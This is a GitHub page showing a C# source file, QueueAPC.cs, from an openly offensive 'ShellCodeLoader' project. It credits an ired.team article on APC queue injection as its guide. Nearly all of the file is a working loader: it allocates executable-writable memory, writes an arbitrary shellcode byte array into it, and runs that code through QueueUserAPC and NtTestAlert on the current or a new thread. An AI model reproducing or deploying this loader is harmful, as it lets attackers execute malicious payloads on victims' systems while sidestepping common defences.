Repository navigation
Expand file tree
/
Copy pathQueueAPC.cs
More file actions
133 lines (106 loc) · 6.27 KB
/
Copy pathQueueAPC.cs
File metadata and controls
133 lines (106 loc) · 6.27 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
using Microsoft.Win32.SafeHandles;
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
using static ShellCodeLoader.Shared;
/*
|| AUTHOR Arsium ||
|| github : https://github.com/arsium ||
|| Please let this credit for all the time I worked on ||
|| Guide & Inspirations : https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection
*/
namespace ShellCodeLoader
{
public class QueueAPC : IDisposable
{
private byte[] ShellCode;
private uint RegionSize;
private Process Target;
private bool NewThread;
public QueueAPC(byte[] shellCode, bool newThread = false)
{
this.ShellCode = shellCode;
this.RegionSize = (uint)shellCode.Length;
this.Target = Process.GetCurrentProcess();
this.NewThread = newThread;
}
private unsafe void CallBackQueueUserAPC(void* param)
{
IntPtr ptr = Imports.VirtualAllocEx(Target.Handle, IntPtr.Zero, (IntPtr)ShellCode.Length, TypeAlloc.MEM_COMMIT | TypeAlloc.MEM_RESERVE, Shared.PageProtection.PAGE_EXECUTE_READWRITE);
UIntPtr writtenBytes;
Imports.WriteProcessMemory(Target.Handle, ptr, ShellCode, (UIntPtr)ShellCode.Length, out writtenBytes);
PageProtection flOld;
Imports.VirtualProtect(ptr, RegionSize, PageProtection.PAGE_EXECUTE_READWRITE, out flOld);
ShellCodeCaller s = (ShellCodeCaller)Marshal.GetDelegateForFunctionPointer(ptr, typeof(ShellCodeCaller));
s();
}
private unsafe void QueueUserAPC()
{
if (NewThread)
{
new Thread(() =>
{
//https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc
Imports.CallBack s = new Imports.CallBack(CallBackQueueUserAPC); //set our callback for APC (the callback is a classic shellcode loader
Imports.QueueUserAPC(s, Imports.GetCurrentThread(), IntPtr.Zero); //add apc to our thread
//Imports.SleepEx(0, true); //now we have to set an alertable for our thread : https://docs.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls
Imports.NtTestAlert(); //empty APC queue for the current thread
}).Start();
}
else
{
//https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc
Imports.CallBack s = new Imports.CallBack(CallBackQueueUserAPC); //set our callback for APC (the callback is a classic shellcode loader
Imports.QueueUserAPC(s, Imports.GetCurrentThread(), IntPtr.Zero); //add apc to our thread
//Imports.SleepEx(0, true); //now we have to set an alertable for our thread : https://docs.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls
Imports.NtTestAlert(); //empty APC queue for the current thread
}
}
public void LoadWithQueueAPC()
{
QueueUserAPC();
}
private static class Imports
{
internal const String KERNEL32 = "kernel32.dll";
internal const String NTDLL = "ntdll.dll";
public unsafe delegate void CallBack(void* param);
public delegate void ShellCodeCaller();
[DllImport(KERNEL32, SetLastError = true, ExactSpelling = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static unsafe extern uint QueueUserAPC(CallBack pFunction, IntPtr tHandle, IntPtr dwData);
[DllImport(KERNEL32, SetLastError = true, ExactSpelling = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static unsafe extern uint SleepEx(uint dwMilliseconds, bool bAlertable);
[DllImport(NTDLL, SetLastError = true)]
public static extern uint NtTestAlert();
[DllImport(KERNEL32, SetLastError = true, ExactSpelling = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, UIntPtr nSize, out UIntPtr lpNumberOfBytesWritten);
[DllImport(KERNEL32, SetLastError = true, ExactSpelling = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern IntPtr VirtualAllocEx(IntPtr procHandle, IntPtr address, IntPtr numBytes, Shared.TypeAlloc commitOrReserve, Shared.PageProtection pageProtectionMode);
[DllImport(KERNEL32, SetLastError = true, ExactSpelling = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, Shared.PageProtection flNewProtect, out Shared.PageProtection lpflOldProtect);
[DllImport(KERNEL32, SetLastError = true, ExactSpelling = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern IntPtr GetCurrentThread();
}
private bool _disposed = false;
// Instantiate a SafeHandle instance.
private SafeHandle _safeHandle = new SafeFileHandle(IntPtr.Zero, true);
// Public implementation of Dispose pattern callable by consumers.
public void Dispose() => Dispose(true);
// Protected implementation of Dispose pattern.
protected virtual void Dispose(bool disposing)
{
if (_disposed)
{
return;
}
if (disposing)
{
// Dispose managed state (managed objects).
_safeHandle?.Dispose();
}
_disposed = true;
GC.SuppressFinalize(this);
}
}
}